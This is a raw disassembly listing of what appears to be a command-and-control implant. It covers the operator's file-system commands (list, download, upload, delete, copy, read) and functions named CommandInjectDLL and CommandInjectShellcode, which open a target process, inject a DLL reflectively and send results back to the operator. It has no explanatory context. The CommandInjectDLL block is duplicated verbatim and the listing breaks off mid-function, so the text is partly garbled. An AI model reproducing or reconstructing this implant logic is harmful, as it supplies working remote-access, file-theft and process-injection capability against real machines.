14000add3jne 0x14000add7
14000add5xor ebp, ebp
14000add7
14000add7loc_14000add7:
14000add7cmp [r12], 0
14000adddjne 0x14000ade2
14000addfxor r12l, r12l
14000ade2
14000ade2loc_14000ade2:
14000ade2cmp [r13], 0
14000ade8jne 0x14000aded
14000adeaxor r13l, r13l
14000aded
14000adedloc_14000aded:
14000adedmov r15, [rip+0x2157c]
14000adf4mov edx, 520
14000adf9mov ecx, 64
14000adfecall [r15+932]
14000ae05cmp [rsi], 46
14000ae09mov rbx, rax
14000ae0cjne 0x14000ae9f
14000ae12mov rdx, rax
14000ae15mov ecx, 260
14000ae1acall [r15+996]
14000ae21test eax, eax
14000ae23jne 0x14000ae6d
14000ae25mov rax, [r15+2230]
14000ae2cmov r8l, 727
14000ae32lea rdx, [rip+0x21d67]
14000ae39lea rcx, [rip+0x1b600]
14000ae40mov r9l, [rax+104]
14000ae44call printf
14000ae49test rbx, rbx
14000ae4cje 0x14000b7ff
14000ae52mov rdi, rbx
14000ae55mov ecx, 520
14000ae5axor eax, eax
14000ae5crep stosb [rdi], al
14000ae5emov rcx, rbx
14000ae61call [r15+940]
14000ae68jmp 0x14000b7ff
14000ae6d
14000ae6dloc_14000ae6d:
14000ae6dmov rcx, rbx
14000ae70call StringLengthW
14000ae75lea ecx, [rax-1]
14000ae78mov edx, eax
14000ae7acmp [rbx+2*rcx], 92
14000ae7fje 0x14000ae8c
14000ae81lea edx, [rax+1]
14000ae84mov eax, eax
14000ae86mov [rbx+2*rax], 92
14000ae8c
14000ae8cloc_14000ae8c:
14000ae8cmov eax, edx
14000ae8emov [rbx+2*rax], 42
14000ae94lea eax, [rdx+1]
14000ae97mov [rbx+2*rax], 0
14000ae9djmp 0x14000aea9
14000ae9f
14000ae9floc_14000ae9f:
14000ae9fmov ecx, 130
14000aea4mov rdi, rax
14000aea7rep movsd [rdi], [rsi]
14000aea9
14000aea9loc_14000aea9:
14000aea9mov r9, rbx
14000aeacmov r8l, 743
14000aeb2lea rdx, [rip+0x21ce7]
14000aeb9lea rcx, [rip+0x1b5af]
14000aec0call printf
14000aec5mov [rsp+48], r13
14000aecamov r9l, [rsp+92]
14000aecfmov rcx, rbx
14000aed2mov r8l, [rsp+88]
14000aed7mov edx, [rsp+84]
14000aedbmov [rsp+40], r12
14000aee0mov [rsp+32], rbp
14000aee5call listDir
14000aeeamovzx edx, [rsp+80]
14000aeefmov rcx, [rsp+72]
14000aef4mov rsi, rax
14000aef7call PackageAddBool
14000aefcmov rcx, [rsp+72]
14000af01movzx edx, r14b
14000af05call PackageAddBool
14000af0amov rcx, [rsp+72]
14000af0fmov rdx, rbx
14000af12call PackageAddWString
14000af17xor edx, edx
14000af19mov rcx, [rsp+72]
14000af1etest rsi, rsi
14000af21setne dl
14000af24xor r12l, r12l
14000af27call PackageAddBool
14000af2cmov r13, [rip+0x2143d]
14000af33
14000af33loc_14000af33:
14000af33test rsi, rsi
14000af36je 0x14000b05e
14000af3cmov rcx, [rsp+72]
14000af41mov rdx, rsi
14000af44mov r14l, 576
14000af4acall PackageAddWString
14000af4fmov edx, [rsi+536]
14000af55mov rcx, [rsp+72]
14000af5acall PackageAddInt32
14000af5fmov edx, [rsi+540]
14000af65mov rcx, [rsp+72]
14000af6acall PackageAddInt32
14000af6fmov rdx, [rsi+544]
14000af76mov rcx, [rsp+72]
14000af7bcall PackageAddInt64
14000af80mov rbp, [rsi+528]
14000af87
14000af87loc_14000af87:
14000af87test rbp, rbp
14000af8aje 0x14000b038
14000af90mov rcx, [rsp+72]
14000af95mov rdx, rbp
14000af98mov rdi, rbp
14000af9bcall PackageAddWString
14000afa0movzx edx, [rbp+556]
14000afa7mov rcx, [rsp+72]
14000afaccall PackageAddBool
14000afb1mov rdx, [rbp+560]
14000afb8mov rcx, [rsp+72]
14000afbdcall PackageAddInt64
14000afc2movzx edx, [rbp+528]
14000afc9mov rcx, [rsp+72]
14000afcecall PackageAddInt32
14000afd3movzx edx, [rbp+524]
14000afdamov rcx, [rsp+72]
14000afdfcall PackageAddInt32
14000afe4movzx edx, [rbp+522]
14000afebmov rcx, [rsp+72]
14000aff0call PackageAddInt32
14000aff5movzx edx, [rbp+548]
14000affcmov rcx, [rsp+72]
14000b001call PackageAddInt32
14000b006mov rcx, [rsp+72]
14000b00bmovzx edx, [rbp+546]
14000b012call PackageAddInt32
14000b017mov r15, [rbp+568]
14000b01emov rcx, r14
14000b021mov eax, r12l
14000b024rep stosb [rdi], al
14000b026mov rcx, rbp
14000b029mov rbp, r15
14000b02ccall [r13+940]
14000b033jmp 0x14000af87
14000b038
14000b038loc_14000b038:
14000b038mov rbp, [rsi+552]
14000b03fmov rdi, rsi
14000b042mov ecx, 560
14000b047mov eax, r12l
14000b04arep stosb [rdi], al
14000b04cmov rcx, rsi
14000b04fmov rsi, rbp
14000b052call [r13+940]
14000b059jmp 0x14000af33
14000b05e
14000b05eloc_14000b05e:
14000b05etest rbx, rbx
14000b061je 0x14000b7ff
14000b067mov rdi, rbx
14000b06amov ecx, 520
14000b06fxor eax, eax
14000b071rep stosb [rdi], al
14000b073mov rcx, rbx
14000b076jmp 0x14000b7d2
14000b07blea rbp, [rip+0x1af86]
14000b082xor edi, edi
14000b084xor r12l, r12l
14000b087xor r13l, r13l
14000b08alea r9, [rip+0x1b3f9]
14000b091mov r8l, 786
14000b097mov rcx, rbp
14000b09axor r14l, r14l
14000b09dlea rdx, [rip+0x21afc]
14000b0a4call printf
14000b0a9xor eax, eax
14000b0abmov [rsp+112], rdi
14000b0b0mov ecx, 260
14000b0b5mov [rsp+120], rdi
14000b0balea rdi, [rsp+128]
14000b0c2lea rdx, [rsp+120]
14000b0c7rep stosd [rdi], eax
14000b0c9mov rcx, rbx
14000b0ccmov [rsp+104], r12
14000b0d1lea r12, [rsp+128]
14000b0d9call ParserGetBytes
14000b0demov rbx, [rip+0x2128b]
14000b0e5mov rsi, rax
14000b0e8mov eax, [rsp+120]
14000b0ecmov rdx, [rbx+2230]
14000b0f3lea r8, [rax+2]
14000b0f7mov rdx, [rdx+96]
14000b0fbmov rcx, [rdx+48]
14000b0ffmov edx, 8
14000b104call [rbx+316]
14000b10amov ecx, [rsp+120]
14000b10emov r8l, 802
14000b114lea rdx, [rip+0x21a85]
14000b11bmov [rsp+112], rax
14000b120mov rdi, rax
14000b123rep movsb [rdi], [rsi]
14000b125lea rcx, [rip+0x1b36b]
14000b12cmov r9, [rsp+112]
14000b131call printf
14000b136xor r9l, r9l
14000b139xor r8l, r8l
14000b13cmov [rsp+48], r13
14000b141mov [rsp+40], r14l
14000b146mov rcx, [rsp+112]
14000b14bmov edx, 0xffffffff80000000
14000b150mov [rsp+32], 3
14000b158call [rbx+812]
14000b15elea r9, [rip+0x1b353]
14000b165mov r8l, 807
14000b16bmov rsi, rax
14000b16elea rax, [rax-1]
14000b172cmp rax, -3
14000b176ja 0x14000b1d1
14000b178xor r9l, r9l
14000b17bmov rcx, [rsp+112]
14000b180mov r8, r12
14000b183mov edx, 520
14000b188call [rbx+820]
14000b18emov [rsp+32], r12
14000b193lea rdx, [rip+0x21a06]
14000b19alea rcx, [rip+0x1b32b]
14000b1a1movzx r9l, ax
14000b1a5mov r8l, 816
14000b1abmov edi, eax
14000b1adcall printf
14000b1b2lea rdx, [rsp+104]
14000b1b7mov rcx, rsi
14000b1bacall [rbx+836]
14000b1c0test eax, eax
14000b1c2jne 0x14000b1f8
14000b1c4lea r9, [rip+0x1b32b]
14000b1cbmov r8l, 820
14000b1d1
14000b1d1loc_14000b1d1:
14000b1d1lea rdx, [rip+0x219c8]
14000b1d8mov rcx, rbp
14000b1dbxor esi, esi
14000b1ddcall printf
14000b1e2mov rax, [rbx+2230]
14000b1e9mov ecx, 1
14000b1eemov edx, [rax+104]
14000b1f1call PackageTransmitError
14000b1f6jmp 0x14000b24b
14000b1f8
14000b1f8loc_14000b1f8:
14000b1f8mov rdx, [rsp+104]
14000b1fdmov rcx, rsi
14000b200call DownloadAdd
14000b205mov rcx, [rsp+72]
14000b20axor edx, edx
14000b20cmov rsi, rax
14000b20fcall PackageAddInt32
14000b214mov edx, [rsi]
14000b216mov rcx, [rsp+72]
14000b21bcall PackageAddInt32
14000b220mov rdx, [rsp+104]
14000b225mov rcx, [rsp+72]
14000b22acall PackageAddInt64
14000b22fmov rdx, r12
14000b232test di, di
14000b235jne 0x14000b23c
14000b237mov rdx, [rsp+112]
14000b23c
14000b23cloc_14000b23c:
14000b23cmov rcx, [rsp+72]
14000b241mov esi, 1
14000b246call PackageAddWString
14000b24b
14000b24bloc_14000b24b:
14000b24blea r9, [rip+0x1b2ba]
14000b252mov r8l, 859
14000b258lea rdx, [rip+0x21941]
14000b25fmov rcx, rbp
14000b262call printf
14000b267mov rdi, [rsp+112]
14000b26ctest rdi, rdi
14000b26fje 0x14000b295
14000b271mov ecx, [rsp+120]
14000b275xor eax, eax
14000b277rep stosb [rdi], al
14000b279mov rax, [rbx+2230]
14000b280mov r8, [rsp+112]
14000b285xor edx, edx
14000b287mov rax, [rax+96]
14000b28bmov rcx, [rax+48]
14000b28fcall [rbx+332]
14000b295
14000b295loc_14000b295:
14000b295test esi, esi
14000b297jne 0x14000b7ff
14000b29djmp 0x14000b81c
14000b2a2lea rdi, [rip+0x1ad5f]
14000b2a9lea r9, [rip+0x1b26c]
14000b2b0mov r8l, 874
14000b2b6xor esi, esi
14000b2b8lea rdx, [rip+0x218e1]
14000b2bfmov rcx, rdi
14000b2c2call printf
14000b2c7lea rdx, [rsp+112]
14000b2ccmov rcx, rbx
14000b2cfmov [rsp+112], esi
14000b2d3mov [rsp+128], esi
14000b2dacall ParserGetWString
14000b2dfmov rcx, rbx
14000b2e2mov rsi, rax
14000b2e5call ParserGetInt32
14000b2eamov ecx, eax
14000b2ecmov [rsp+80], eax
14000b2f0call GetMemFile
14000b2f5mov r9l, [rsp+80]
14000b2fatest rax, rax
14000b2fdje 0x14000b389
14000b303cmp [rax+32], 0
14000b307je 0x14000b373
14000b309mov r14, [rax+8]
14000b30dmov r12, [rax+24]
14000b311mov [rsp+32], rsi
14000b316xor ebx, ebx
14000b318mov r8l, 906
14000b31elea rdx, [rip+0x2187b]
14000b325lea rcx, [rip+0x1b1fb]
14000b32cmov r9l, r14l
14000b32fcall printf
14000b334mov [rsp+48], rbx
14000b339xor r9l, r9l
14000b33cxor r8l, r8l
14000b33fmov rbp, [rip+0x2102a]
14000b346mov [rsp+40], 128
14000b34emov edx, 0x40000000
14000b353mov rcx, rsi
14000b356mov [rsp+32], 1
14000b35ecall [rbp+812]
14000b364mov rbx, rax
14000b367lea rax, [rax-1]
14000b36bcmp rax, -3
14000b36fjbe 0x14000b3e2
14000b371jmp 0x14000b3a7
14000b373
14000b373loc_14000b373:
14000b373mov r8l, 895
14000b379lea rdx, [rip+0x21820]
14000b380lea rcx, [rip+0x1b1c5]
14000b387jmp 0x14000b39d
14000b389
14000b389loc_14000b389:
14000b389mov r8l, 901
14000b38flea rdx, [rip+0x2180a]
14000b396lea rcx, [rip+0x1b1df]
14000b39d
14000b39dloc_14000b39d:
14000b39dcall printf
14000b3a2jmp 0x14000b81c
14000b3a7
14000b3a7loc_14000b3a7:
14000b3a7lea rdx, [rip+0x217f2]
14000b3aemov rcx, rdi
14000b3b1lea r9, [rip+0x1b100]
14000b3b8mov r8l, 911
14000b3becall printf
14000b3c3mov rax, [rbp+2230]
14000b3camov ecx, 1
14000b3cfmov edx, [rax+104]
14000b3d2call PackageTransmitError
14000b3d7test rbx, rbx
14000b3daje 0x14000b81c
14000b3e0jmp 0x14000b45e
14000b3e2
14000b3e2loc_14000b3e2:
14000b3e2xor r11l, r11l
14000b3e5mov r8l, r14l
14000b3e8mov rdx, r12
14000b3ebmov rcx, rbx
14000b3eemov [rsp+32], r11
14000b3f3lea r9, [rsp+128]
14000b3fbcall [rbp+876]
14000b401test eax, eax
14000b403jne 0x14000b437
14000b405mov rcx, rdi
14000b408lea r9, [rip+0x1b195]
14000b40fmov r8l, 919
14000b415lea rdx, [rip+0x21784]
14000b41ccall printf
14000b421mov rax, [rbp+2230]
14000b428mov ecx, 1
14000b42dmov edx, [rax+104]
14000b430call PackageTransmitError
14000b435jmp 0x14000b45e
14000b437
14000b437loc_14000b437:
14000b437mov rcx, [rsp+72]
14000b43cmov edx, r14l
14000b43fcall PackageAddInt32
14000b444mov rcx, [rsp+72]
14000b449mov rdx, rsi
14000b44ccall PackageAddWString
14000b451mov rcx, rbx
14000b454call SysNtClose
14000b459jmp 0x14000b7ff
14000b45e
14000b45eloc_14000b45e:
14000b45emov rcx, rbx
14000b461call SysNtClose
14000b466jmp 0x14000b81c
14000b46blea r9, [rip+0x1b144]
14000b472mov r8l, 941
14000b478lea rdx, [rip+0x21721]
14000b47flea rcx, [rip+0x1ab82]
14000b486call printf
14000b48bxor r10l, r10l
14000b48emov rcx, rbx
14000b491lea rdx, [rsp+128]
14000b499mov [rsp+128], r10l
14000b4a1call ParserGetWString
14000b4a6mov rsi, [rip+0x20ec3]
14000b4admov rbx, rax
14000b4b0mov rcx, rax
14000b4b3call [rsi+1092]
14000b4b9jmp 0x14000b594
14000b4bemov r8l, 956
14000b4c4lea r9, [rip+0x1b0f2]
14000b4cblea rdx, [rip+0x216ce]
14000b4d2lea rcx, [rip+0x1ab2f]
14000b4d9call printf
14000b4dexor r9l, r9l
14000b4e1mov rcx, rbx
14000b4e4lea rdx, [rsp+128]
14000b4ecmov [rsp+128], r9l
14000b4f4call ParserGetWString
14000b4f9mov rsi, [rip+0x20e70]
14000b500mov rbx, rax
14000b503mov rcx, rax
14000b506call [rsi+1060]
14000b50cmov rcx, rbx
14000b50fcmp eax, -1
14000b512je 0x14000b529
14000b514test al, 16
14000b516je 0x14000b529
14000b518call [rsi+1028]
14000b51emov edx, 1
14000b523test eax, eax
14000b525jne 0x14000b535
14000b527jmp 0x14000b59c
14000b529
14000b529loc_14000b529:
14000b529call [rsi+1020]
14000b52fxor edx, edx
14000b531test eax, eax
14000b533je 0x14000b59c
14000b535
14000b535loc_14000b535:
14000b535mov rcx, [rsp+72]
14000b53acall PackageAddInt32
14000b53fjmp 0x14000b665
14000b544lea r9, [rip+0x1b07d]
14000b54bmov r8l, 986
14000b551lea rdx, [rip+0x21648]
14000b558lea rcx, [rip+0x1aaa9]
14000b55fcall printf
14000b564mov rcx, rbx
14000b567xor r8l, r8l
14000b56alea rdx, [rsp+128]
14000b572mov [rsp+128], r8l
14000b57acall ParserGetWString
14000b57fmov rsi, [rip+0x20dea]
14000b586xor edx, edx
14000b588mov rbx, rax
14000b58bmov rcx, rax
14000b58ecall [rsi+1036]
14000b594
14000b594loc_14000b594:
14000b594test eax, eax
14000b596jne 0x14000b665
14000b59c
14000b59cloc_14000b59c:
14000b59cmov rax, [rsi+2230]
14000b5a3jmp 0x14000b63c
14000b5a8lea r9, [rip+0x1b023]
14000b5afmov r8l, 1002
14000b5b5lea rdx, [rip+0x215e4]
14000b5bclea rcx, [rip+0x1aa45]
14000b5c3call printf
14000b5c8xor ecx, ecx
14000b5calea rdx, [rsp+112]
14000b5cfmov [rsp+112], ecx
14000b5d3mov [rsp+128], ecx
14000b5damov rcx, rbx
14000b5ddcall ParserGetWString
14000b5e2mov rcx, rbx
14000b5e5lea rdx, [rsp+128]
14000b5edmov rsi, rax
14000b5f0call ParserGetWString
14000b5f5mov r9, rsi
14000b5f8mov r8l, 1013
14000b5felea rdx, [rip+0x2159b]
14000b605mov [rsp+32], rax
14000b60alea rcx, [rip+0x1afca]
14000b611mov rbx, rax
14000b614call printf
14000b619mov rdx, rbx
14000b61cxor r8l, r8l
14000b61fmov rcx, rsi
14000b622mov rdi, [rip+0x20d47]
14000b629call [rdi+1116]
14000b62fmov edx, eax
14000b631test eax, eax
14000b633jne 0x14000b64e
14000b635mov rax, [rdi+2230]
14000b63c
14000b63cloc_14000b63c:
14000b63cmov edx, [rax+104]
14000b63fmov ecx, 1
14000b644call PackageTransmitError
14000b649jmp 0x14000b81c
14000b64e
14000b64eloc_14000b64e:
14000b64emov rcx, [rsp+72]
14000b653call PackageAddInt32
14000b658mov rcx, [rsp+72]
14000b65dmov rdx, rsi
14000b660call PackageAddWString
14000b665
14000b665loc_14000b665:
14000b665mov rdx, rbx
14000b668jmp 0x14000b6ff
14000b66dlea rdx, [rip+0x2152c]
14000b674lea rcx, [rip+0x1a98d]
14000b67bmov r8l, 1028
14000b681lea r9, [rip+0x1af77]
14000b688lea rdi, [rsp+128]
14000b690call printf
14000b695xor eax, eax
14000b697mov ecx, 260
14000b69cmov rbx, [rip+0x20ccd]
14000b6a3rep stosd [rdi], eax
14000b6a5lea rsi, [rsp+128]
14000b6admov ecx, 520
14000b6b2mov rdx, rsi
14000b6b5call [rbx+996]
14000b6bbtest eax, eax
14000b6bdjne 0x14000b6fc
14000b6bfmov rax, [rbx+2230]
14000b6c6mov r8l, 1034
14000b6cclea rdx, [rip+0x214cd]
14000b6d3lea rcx, [rip+0x1ad66]
14000b6damov r9l, [rax+104]
14000b6decall printf
14000b6e3mov rax, [rbx+2230]
14000b6eamov ecx, 1
14000b6efmov edx, [rax+104]
14000b6f2call PackageTransmitError
14000b6f7jmp 0x14000b7ff
14000b6fc
14000b6fcloc_14000b6fc:
14000b6fcmov rdx, rsi
14000b6ff
14000b6ffloc_14000b6ff:
14000b6ffmov rcx, [rsp+72]
14000b704call PackageAddWString
14000b709jmp 0x14000b7ff
14000b70elea r9, [rip+0x1aef5]
14000b715mov r8l, 1043
14000b71blea rdx, [rip+0x2147e]
14000b722lea rcx, [rip+0x1a8df]
14000b729call printf
14000b72exor eax, eax
14000b730mov rcx, rbx
14000b733lea rdx, [rsp+112]
14000b738mov [rsp+104], eax
14000b73cmov [rsp+112], eax
14000b740call ParserGetWString
14000b745xor edx, edx
14000b747mov r8l, 1051
14000b74dlea rcx, [rip+0x1ad43]
14000b754mov r9, rax
14000b757mov rbx, rax
14000b75amov [rsp+128], rdx
14000b762lea rdx, [rip+0x21437]
14000b769call printf
14000b76elea r8, [rsp+104]
14000b773lea rdx, [rsp+128]
14000b77bmov rcx, rbx
14000b77ecall ReadLocalFile
14000b783mov rcx, [rsp+72]
14000b788mov rdx, rbx
14000b78bmov esi, eax
14000b78dcall PackageAddWString
14000b792mov rcx, [rsp+72]
14000b797mov edx, esi
14000b799call PackageAddInt32
14000b79emov r8l, [rsp+104]
14000b7a3mov rcx, [rsp+72]
14000b7a8mov rdx, [rsp+128]
14000b7b0call PackageAddBytes
14000b7b5mov rdi, [rsp+128]
14000b7bdtest rdi, rdi
14000b7c0je 0x14000b7ff
14000b7c2mov ecx, [rsp+104]
14000b7c6xor eax, eax
14000b7c8rep stosb [rdi], al
14000b7camov rcx, [rsp+128]
14000b7d2
14000b7d2loc_14000b7d2:
14000b7d2mov rax, [rip+0x20b97]
14000b7d9call [rax+940]
14000b7dfjmp 0x14000b7ff
14000b7e1
14000b7e1loc_14000b7e1:
14000b7e1mov [rsp+32], r9l
14000b7e6mov r8l, 1070
14000b7eclea rdx, [rip+0x213ad]
14000b7f3lea rcx, [rip+0x1ae18]
14000b7facall printf
14000b7ff
14000b7ffloc_14000b7ff:
14000b7ffmov rcx, [rsp+72]
14000b804add rsp, 1176
14000b80bpop rbx
14000b80cpop rsi
14000b80dpop rdi
14000b80epop rbp
14000b80fpop r12
14000b811pop r13
14000b813pop r14
14000b815pop r15
14000b817jmp 0x140018b90
14000b81c
14000b81cloc_14000b81c:
14000b81cmov rcx, [rsp+72]
14000b821add rsp, 1176
14000b828pop rbx
14000b829pop rsi
14000b82apop rdi
14000b82bpop rbp
14000b82cpop r12
14000b82epop r13
14000b830pop r14
14000b832pop r15
14000b834jmp 0x140018af0
14000ace0
14000b839
14000b839 // align 0x10
14000b839 // align 0x10
14000b840
14000b840CommandInjectDLL:
14000b840push r13
14000b842push r12
14000b844push rbp
14000b845push rdi
14000b846push rsi
14000b847push rbx
14000b848mov rbx, rcx
14000b84bmov ecx, 22
14000b850sub rsp, 136
14000b857call PackageCreate
14000b85clea rdi, [rsp+80]
14000b861mov ecx, 12
14000b866mov rbp, rax
14000b869xor eax, eax
14000b86bmov [rsp+72], eax
14000b86fmov [rsp+76], eax
14000b873xor eax, eax
14000b875rep stosd [rdi], eax
14000b877mov rcx, rbx
14000b87acall ParserGetInt32
14000b87fmov rcx, rbx
14000b882mov [rsp+126], ax
14000b887call ParserGetInt32
14000b88cmov rcx, rbx
14000b88flea rdx, [rsp+76]
14000b894mov [rsp+92], eax
14000b898call ParserGetBytes
14000b89dmov rcx, rbx
14000b8a0lea rdx, [rsp+72]
14000b8a5mov r12, rax
14000b8a8call ParserGetBytes
14000b8admov rcx, rbx
14000b8b0lea rdx, [rsp+122]
14000b8b5lea rbx, [rip+0x21264]
14000b8bcmov rsi, rax
14000b8bfcall ParserGetBytes
14000b8c4lea r9, [rip+0x1b06a]
14000b8cbmov rdx, rbx
14000b8cemov r8l, 1168
14000b8d4lea rcx, [rip+0x1a72d]
14000b8dbmov [rsp+114], rax
14000b8e0call printf
14000b8e5movsx r9l, [rsp+126]
14000b8ebmov rdx, rbx
14000b8eemov r8l, 1169
14000b8f4lea rcx, [rip+0x1b04b]
14000b8fbcall printf
14000b900mov r9l, [rsp+92]
14000b905mov rdx, rbx
14000b908mov r8l, 1170
14000b90elea rcx, [rip+0x1b050]
14000b915call printf
14000b91amov eax, [rsp+72]
14000b91emov r9, rsi
14000b921mov rdx, rbx
14000b924mov r8l, 1171
14000b92alea rcx, [rip+0x1b053]
14000b931mov [rsp+32], eax
14000b935call printf
14000b93amov eax, [rsp+122]
14000b93emov rdx, rbx
14000b941mov r9, [rsp+114]
14000b946lea rcx, [rip+0x1b05b]
14000b94dmov r8l, 1172
14000b953mov [rsp+32], eax
14000b957call printf
14000b95cmov ecx, [rsp+92]
14000b960mov edx, 1066
14000b965call ProcessOpen
14000b96atest rax, rax
14000b96dje 0x14000b9b6
14000b96fmov rdi, rax
14000b972mov eax, [rsp+122]
14000b976lea r13, [rsp+80]
14000b97bmov r9, rsi
14000b97emov [rsp+56], r13
14000b983mov r8l, [rsp+76]
14000b988mov rcx, rdi
14000b98bmov rdx, r12
14000b98emov [rsp+48], rax
14000b993mov rax, [rsp+114]
14000b998mov [rsp+40], rax
14000b99dmov eax, [rsp+72]
14000b9a1mov [rsp+32], eax
14000b9a5call DllInjectReflective
14000b9aamov rcx, rdi
14000b9admov esi, eax
14000b9afcall SysNtClose
14000b9b4jmp 0x14000b9d6
14000b9b6
14000b9b6loc_14000b9b6:
14000b9b6mov rax, [rip+0x209b3]
14000b9bdmov ecx, 1
14000b9c2mov esi, 1
14000b9c7mov rax, [rax+2230]
14000b9cemov edx, [rax+104]
14000b9d1call PackageTransmitError
14000b9d6
14000b9d6loc_14000b9d6:
14000b9d6mov r9l, esi
14000b9d9mov r8l, 1186
14000b9dfmov rdx, rbx
14000b9e2lea rcx, [rip+0x1afe3]
14000b9e9call printf
14000b9eemov edx, esi
14000b9f0mov rcx, rbp
14000b9f3call PackageAddInt32
14000b9f8mov rcx, rbp
14000b9fbcall PackageTransmit
14000ba00add rsp, 136
14000ba07pop rbx
14000ba08pop rsi
14000ba09pop rdi
14000ba0apop rbp
14000ba0bpop r12
14000ba0dpop r13
14000ba0fret
14000b840
14000b840CommandInjectDLL:
14000b840push r13
14000b842push r12
14000b844push rbp
14000b845push rdi
14000b846push rsi
14000b847push rbx
14000b848mov rbx, rcx
14000b84bmov ecx, 22
14000b850sub rsp, 136
14000b857call PackageCreate
14000b85clea rdi, [rsp+80]
14000b861mov ecx, 12
14000b866mov rbp, rax
14000b869xor eax, eax
14000b86bmov [rsp+72], eax
14000b86fmov [rsp+76], eax
14000b873xor eax, eax
14000b875rep stosd [rdi], eax
14000b877mov rcx, rbx
14000b87acall ParserGetInt32
14000b87fmov rcx, rbx
14000b882mov [rsp+126], ax
14000b887call ParserGetInt32
14000b88cmov rcx, rbx
14000b88flea rdx, [rsp+76]
14000b894mov [rsp+92], eax
14000b898call ParserGetBytes
14000b89dmov rcx, rbx
14000b8a0lea rdx, [rsp+72]
14000b8a5mov r12, rax
14000b8a8call ParserGetBytes
14000b8admov rcx, rbx
14000b8b0lea rdx, [rsp+122]
14000b8b5lea rbx, [rip+0x21264]
14000b8bcmov rsi, rax
14000b8bfcall ParserGetBytes
14000b8c4lea r9, [rip+0x1b06a]
14000b8cbmov rdx, rbx
14000b8cemov r8l, 1168
14000b8d4lea rcx, [rip+0x1a72d]
14000b8dbmov [rsp+114], rax
14000b8e0call printf
14000b8e5movsx r9l, [rsp+126]
14000b8ebmov rdx, rbx
14000b8eemov r8l, 1169
14000b8f4lea rcx, [rip+0x1b04b]
14000b8fbcall printf
14000b900mov r9l, [rsp+92]
14000b905mov rdx, rbx
14000b908mov r8l, 1170
14000b90elea rcx, [rip+0x1b050]
14000b915call printf
14000b91amov eax, [rsp+72]
14000b91emov r9, rsi
14000b921mov rdx, rbx
14000b924mov r8l, 1171
14000b92alea rcx, [rip+0x1b053]
14000b931mov [rsp+32], eax
14000b935call printf
14000b93amov eax, [rsp+122]
14000b93emov rdx, rbx
14000b941mov r9, [rsp+114]
14000b946lea rcx, [rip+0x1b05b]
14000b94dmov r8l, 1172
14000b953mov [rsp+32], eax
14000b957call printf
14000b95cmov ecx, [rsp+92]
14000b960mov edx, 1066
14000b965call ProcessOpen
14000b96atest rax, rax
14000b96dje 0x14000b9b6
14000b96fmov rdi, rax
14000b972mov eax, [rsp+122]
14000b976lea r13, [rsp+80]
14000b97bmov r9, rsi
14000b97emov [rsp+56], r13
14000b983mov r8l, [rsp+76]
14000b988mov rcx, rdi
14000b98bmov rdx, r12
14000b98emov [rsp+48], rax
14000b993mov rax, [rsp+114]
14000b998mov [rsp+40], rax
14000b99dmov eax, [rsp+72]
14000b9a1mov [rsp+32], eax
14000b9a5call DllInjectReflective
14000b9aamov rcx, rdi
14000b9admov esi, eax
14000b9afcall SysNtClose
14000b9b4jmp 0x14000b9d6
14000b9b6
14000b9b6loc_14000b9b6:
14000b9b6mov rax, [rip+0x209b3]
14000b9bdmov ecx, 1
14000b9c2mov esi, 1
14000b9c7mov rax, [rax+2230]
14000b9cemov edx, [rax+104]
14000b9d1call PackageTransmitError
14000b9d6
14000b9d6loc_14000b9d6:
14000b9d6mov r9l, esi
14000b9d9mov r8l, 1186
14000b9dfmov rdx, rbx
14000b9e2lea rcx, [rip+0x1afe3]
14000b9e9call printf
14000b9eemov edx, esi
14000b9f0mov rcx, rbp
14000b9f3call PackageAddInt32
14000b9f8mov rcx, rbp
14000b9fbcall PackageTransmit
14000ba00add rsp, 136
14000ba07pop rbx
14000ba08pop rsi
14000ba09pop rdi
14000ba0apop rbp
14000ba0bpop r12
14000ba0dpop r13
14000ba0fret
14000b840
14000ba10
14000ba10CommandInjectShellcode:
14000ba10push r15
14000ba12xor eax, eax
14000ba14xor r11l, r11l
14000ba17push r14
14000ba19push r13
14000ba1bpush r12
14000ba1dpush rbp
14000ba1epush rdi
14000ba1fpush rsi
14000ba20mov rsi, rcx
14000ba23mov ecx, 6
14000ba28push rbx
14000ba29sub rsp, 152
14000ba30lea rdi, [rsp+120]
14000ba35mov [rsp+112], r11l
14000ba3arep stosd [rdi], eax
14000ba3cmov ecx, 24
14000ba41mov [rsp+116], r11l
14000ba46call PackageCreate
14000ba4bmov rcx, rsi
14000ba4emov r13, rax
14000ba51call ParserGetInt32
14000ba56mov rcx, rsi
14000ba59mov [rsp+108], eax
14000ba5dcall ParserGetInt32
14000ba62mov rcx, rsi
14000ba65mov ebx, eax
14000ba67call ParserGetInt32
14000ba6clea rdx, [rsp+112]
14000ba71mov rcx, rsi
14000ba74mov ebp, eax
14000ba76call ParserGetBytes
14000ba7blea rdx, [rsp+116]
14000ba80mov rcx, rsi
14000ba83mov r12, rax
14000ba86call ParserGetBytes
14000ba8bmov rcx, rsi
14000ba8emov r14, rax
14000ba91call ParserGetInt32
14000ba96test ebp, ebp
14000ba98mov [rsp+32], ebx
14000ba9cmov r9l, [rsp+108]
14000baa1mov r15l, eax
14000baa4mov [rsp+64], r14
14000baa9mov r8l, 1238
14000baaflea rdx, [rip+0x1a7d0]
14000bab6lea rax, [rip+0x1a7c4]
14000babdmov [rsp+80], r15l
14000bac2lea rcx, [rip+0x1af28]
14000bac9cmove rax, rdx
14000bacdmov edx, [rsp+116]
14000bad1mov [rsp+48], r12
14000bad6mov [rsp+72], edx
14000badamov edx, [rsp+112]
14000bademov [rsp+40], rax
14000bae3mov [rsp+56], edx
14000bae7lea rdx, [rip+0x20fe2]
14000baeecall printf
14000baf3mov r9l, [rsp+108]
14000baf8cmp r9l, 1
14000bafcje 0x14000bc73
14000bb02cmp r9l, 2
14000bb06je 0x14000bcc3
14000bb0cmov r8l, 1309
14000bb12lea rdx, [rip+0x20fb7]
14000bb19lea rcx, [rip+0x1b02c]
14000bb20test r9l, r9l
14000bb23jne 0x14000bd1c
14000bb29lea r9, [rip+0x1af6c]
14000bb30mov r8l, 1257
14000bb36lea rdx, [rip+0x20f93]
14000bb3dlea rcx, [rip+0x1a4c4]
14000bb44lea rdi, [rsp+120]
14000bb49call printf
14000bb4emov rsi, [rip+0x2081b]
14000bb55test ebp, ebp
14000bb57mov r8l, 1265
14000bb5dlea rdx, [rip+0x20f6c]
14000bb64lea rcx, [rip+0x1af42]
14000bb6bmov r15, [rsi+264]
14000bb72cmovne r15, [rsi+256]
14000bb7amov r9, r15
14000bb7dcall printf
14000bb82xor ecx, ecx
14000bb84test ebp, ebp
14000bb86mov [rsp+32], rdi
14000bb8bsete cl
14000bb8exor r9l, r9l
14000bb91xor r10l, r10l
14000bb94xor edx, edx
